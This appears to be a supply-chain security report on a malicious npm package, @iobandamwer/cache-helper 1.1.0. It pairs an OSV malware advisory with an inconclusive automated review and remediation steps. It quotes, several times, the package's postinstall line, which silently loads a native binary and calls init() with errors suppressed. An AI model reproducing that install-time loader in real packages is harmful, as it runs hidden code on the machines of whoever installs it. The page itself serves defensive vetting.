@iobandamwer/cache-helper@1.1.0
OpenSSF/OSV Malicious Advisory
imported 9d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18329 confirms this npm version as malicious.
Advisory
MAL-2026-18329
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @iobandamwer/cache-helper (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Independent LPM AI assessment
Manual ReviewIndependent AI assessment: manual_review. LPM AI review remains unresolved.
The manifest and entrypoint invoke native addon code during installation and import. Its behavior remains unresolved after inspection, so manual review is warranted without concluding that an attack is present.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Package installation triggers postinstall; importing index.js also invokes the addon.
Impact
The effect of the automatically invoked native code cannot be determined from the inspected evidence.
Mechanism
The JavaScript selects a platform-specific native binary, calls init(), and suppresses errors. Available offline analysis cannot establish the binaries' behavior.
AI rationale
The manifest and entrypoint invoke native addon code during installation and import. Its behavior remains unresolved after inspection, so manual review is warranted without concluding that an attack is present.
Evidence
package.jsonindex.js.lpm-inspection-wP5mu4/0-b48707c2f1bb.txt.lpm-inspection-wP5mu4/1-39eea4023124.txtaddon.nodeaddon_win.node
Independent scan evidence
public snapshotAI called this Manual Review at 93.0% confidence as Unknown with medium false-positive risk.
AI review observations
- package.json defines a postinstall hook that loads a platform-specific native addon and calls init.
- index.js also loads the platform-specific native addon and calls init(), suppressing errors.
- The analysis of addon.node reports that its behavior remains unresolved.
- The analysis of addon_win.node reports uninspected native call targets, so absence of behavior is not established.
Evidence against
Behavioral surface
DynamicRequire
Trivial
Source & flagged code
8 flaggedpackage.jsonView file
•scripts.postinstall = node -e "try{require(process.platform==='win32'?'./addon_win.node':'./addon.node').init()}catch(e){}"
Critical
Red Install Lifecycle Script
Install-time lifecycle script matches a deterministic static-gate block pattern.
package.jsonView on unpkg•scripts.postinstall = node -e "try{require(process.platform==='win32'?'./addon_win.node':'./addon.node').init()}catch(e){}"
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node -e \"try{require(process.platform==='win32'?'./addon_win.node':'./addon.node').init()}catch(e){}\""
},
"keywords": [
"cache",
"utils"
],
"licen
High
Suspicious Lifecycle Evidence
package.json defines a postinstall hook that loads a platform-specific native addon and calls init.
package.jsonView on unpkg · L7Findings
1 Critical5 High3 Medium1 Low
CriticalRed Install Lifecycle Scriptpackage.json
HighInstall Time Lifecycle Scriptspackage.json
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidence.lpm-inspection-wP5mu4/0-b48707c2f1bb.txt
HighAi Review Evidence.lpm-inspection-wP5mu4/1-39eea4023124.txt
MediumDynamic Requireindex.js
MediumShips Native Binaryaddon.node
MediumStructural Risk Force Deep Review
LowScripts Present
Affected versions and remediation
This report applies to @iobandamwer/cache-helper@1.1.0.
See all versions of @iobandamwer/cache-helper for other recorded verdicts.
- Avoid installing @iobandamwer/cache-helper@1.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
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